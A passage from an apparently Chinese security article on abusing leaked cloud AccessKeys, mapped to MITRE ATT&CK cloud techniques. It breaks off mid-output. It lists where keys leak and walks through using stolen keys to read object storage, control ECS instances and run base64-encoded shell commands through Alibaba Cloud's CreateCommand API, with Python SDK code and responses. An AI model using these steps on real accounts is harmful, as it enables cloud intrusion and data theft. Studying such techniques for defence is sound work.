“上云”是近些年来的互联网热门词汇,很多企业都在讲“上云”。而上云确实大大降低了企业的资源成本,让企业可以将更多的资源投入到其他合适的用途上。但是随着公有云利用率的快速增长,有越来越多的敏感内容被置于潜在的风险之中,将攻击者的视线也转移到云上来。
MITRE ATT&CK在十月份的TTP更新中,就围绕着云安全更新了一些TTP,本文将从实际案例出发,讲述云安全下的一个具体的挑战—AccessKey泄漏。
案例中涉及到的TTP有:
Cloud Service Dashboard(T1538)
Cloud Service Discovery(T1526)
Data from Cloud Storge Object(T1530)
Cloud Instance Metadata API(T1522)
AccessKey(即访问密钥)是云平台用户在通过API访问云资源时用来确认用户身份的凭证,以确保访问者具有相关权限。AccessKey由云平台提供商(如亚马逊AWS、阿里云等)颁发给云主机的所有者,一般由AccessKeyID(访问密钥ID)和Secret Access Key(私有访问密钥)构成。
主账户/根用户的AccessKey具有主账户的完全权限,云平台提供商建议不要使用主账户/根用户AccessKey进行API调用。
Access Key用户验证的请求元素
从前面一小节我们知道了AccessKey类似于用户的登录密码,如果该密码泄漏了,那么该用户权限所能访问的资源都会受到威胁。而造成AccessKey泄漏的情况,一般有如下几种:
-
公开的托管代码库中存放AccessKey(源码泄漏问题)
-
APK文件中的配置文件存放AccessKey(反编译后可搜索)
-
WEB应用中的配置文件存放AccessKey(低权限webshell可访问)
在获取了AccessKey后,一般有如下几种方式来利用:
ECS
RDS
-
关系型数据库服务(Relational Database Service,简称 RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。
-
RDS 采用即开即用方式,兼容 MySQL、 SQL Server 两种关系型数据库,并提供数据库在线扩容、备份回滚、性能监测及分析功能。
-
RDS 与云服务器搭配使用 I/O 性能倍增,内网互通避免网络瓶颈。
对象存储 OSS
安全组
在gayhub找关键词
这里选择使用第三方管理平台导入:
获取OSS数据:
导入ECS
获取ECS主机信息(可对云主机进行重置密码、关机等操作):
查看安全组
我们还可以通过在线API调用调试:
https://api.***yun.com/#/?product=Ecs&api=DescribeRegions
在阅读文档中发现一个有趣的接口:CreateCommand
其中Name字段可以随便写,
-
Windows实例适用的Bat脚本(RunBatScript)
-
Windows实例适用的PowerShell脚本(RunPowerShellScript)
-
Linux实例适用的Shell脚本(RunShellScript)
CommandContent字段则是命令Base64编码后的内容,且内容的大小在Base64编码之后不能超过16KB。
//Import packages
client = AcsClient('', '', 'cn-beijing')
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
返回结果:
{"RequestId":"94ccc19A-5870-46c5-AE9F-39ccc9A79407","CommandId":"c-79f1aeb6632ccccc3a82f40647c1c2dd7"}
在利用CreateCommand创建完云助手命令后,可以调用DescribeCommands查询已创建的云助手命令:
client = AcsClient('', '', 'cn-beijing')
request = DescribeCommandsRequest()
request.set_accept_format('json')
request.set_CommandId("c-79f1aeb6632140c3a82f40647c1c2dd7")
response = client.do_action_with_exception(request)
print(str(response, encoding='utf-8'))
{
"PageNumber": 1,
"TotalCount": 1,
"PageSize": 10,
"RequestId": "Dcccc8B72-27B0-4FF7-8DDB-A6Ccccc807F1",
"Commands": {
"Command": [{
"CreationTime": "2019-10-12T09:14Z",
"Name": "test1",
"Timeout": 3600,
"CommandContent": "aWZjb25maWc=",
"Description"